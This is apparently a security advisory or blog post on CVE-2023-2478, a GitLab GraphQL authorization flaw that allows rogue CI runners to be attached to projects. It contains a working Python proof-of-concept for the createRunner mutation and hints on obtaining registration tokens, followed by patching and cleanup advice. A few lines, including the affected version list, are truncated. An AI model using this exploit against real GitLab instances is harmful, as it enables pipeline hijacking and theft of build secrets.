Published: June 2024
Severity: Critical
Affected Platforms: GitLab CE/EE
Impact: Malicious code execution, supply chain compromise
CISA Alert: cisa.gov
What is CVE-2023-2478?
CVE-2023-2478 is a critical security vulnerability found in GitLab Community Edition (CE) and Enterprise Edition (EE) that allows unauthorized attackers to attach a malicious GitLab runner to any project by abusing a vulnerability in the GraphQL API.
In simple terms, a runner is a program that runs your CI/CD jobs in GitLab. If a bad actor adds their own runner to a project, they can potentially inject malicious code into your workflows or steal sensitive data through job output.
15.11. and later, before 15.11.2
If you have any of these versions, your GitLab instance is vulnerable!
The Problem
GitLab exposes a robust GraphQL API. Under certain conditions, an unauthenticated or unauthorized user could abuse this API to register a malicious runner with any GitLab project, regardless of their actual access rights to that project.
This can be devastating. Imagine an attacker registering a runner that injects code, exfiltrates environment secrets, or snoops on build output in critical projects.
The Exploit
The issue is due to missing permission checks on the createRunner mutation in GitLab's GraphQL API. If exploited, anyone can register runners to projects they shouldn’t have access to.
Exploit Details
Below is an example exploit (proof-of-concept) that registers a runner to a target project using the vulnerable API endpoint.
> Note: This exploits a critical bug. Use this code only in a *safe lab environment* for testing and patch verification.
import requests
GITLAB_INSTANCE = "https://gitlab.example.com"; # Target GitLab instance
TARGET_PROJECT_ID = "gid://gitlab/Project/123" # The GraphQL gid of the project
REGISTRATION_TOKEN = "XXXXXXXXXXXXXX" # Runner registration token
RUNNER_DESCRIPTION = "evil-runner"
GRAPHQL_ENDPOINT = f"{GITLAB_INSTANCE}/api/graphql"
# GraphQL mutation to create a runner
mutation = '''
mutation createRunner($input: CreateRunnerInput!) {
createRunner(input: $input) {
runner {
id
description
active
}
errors
}
}
'''
variables = {
"input": {
"description": RUNNER_DESCRIPTION,
"runnerType": "PROJECT_TYPE",
"projectIds": [ TARGET_PROJECT_ID ],
"registrationToken": REGISTRATION_TOKEN
}
}
payload = {
"query": mutation,
"variables": variables
}
# Send the request (no authentication needed due to the bug)
r = requests.post(GRAPHQL_ENDPOINT, json=payload)
print("Response:", r.json())
Replace GITLAB_INSTANCE and TARGET_PROJECT_ID with your target.
- You can often get the registrationToken from public project pages, or sometimes via open APIs depending on the configuration.
What Are Malicious Runners?
- Malicious runners are essentially CI/CD agents controlled by an attacker.
- Once attached, they run jobs for the project—possibly executing ANY code the attacker controls.
- This could lead to
- Access to environment secrets/variables.
How to Fix
Update GitLab immediately!
15.11.2
Find your latest version or update instructions at: GitLab Security Release Blog
Check for existing unknown runners:
Go to Project > Settings > CI/CD > Runners. Remove runners you don't recognize.
References
- Official Advisory: GitLab Security Advisory: CVE-2023-2478
- Common Vulnerabilities and Exposures: cve.mitre.org
- CISA KEV Database: CVE-2023-2478 | Known Exploited Vulnerabilities Catalog
Prevention Tips
- Disable public runner registration (Settings > CI/CD > Runners > Runners activated for this project).
Conclusion
CVE-2023-2478 shows how critical API security is. Exposing sensitive mutations like runner registration *without* proper authorization checking can lead to total compromise of CI/CD pipelines. All GitLab admins and DevSecOps teams should patch immediately and audit their projects for suspicious runners.
Stay safe, keep your GitLab up to date, and monitor those runners closely!
Timeline
Published on: 05/08/2023 21:15:00 UTC
Last modified on: 05/15/2023 17:04:00 UTC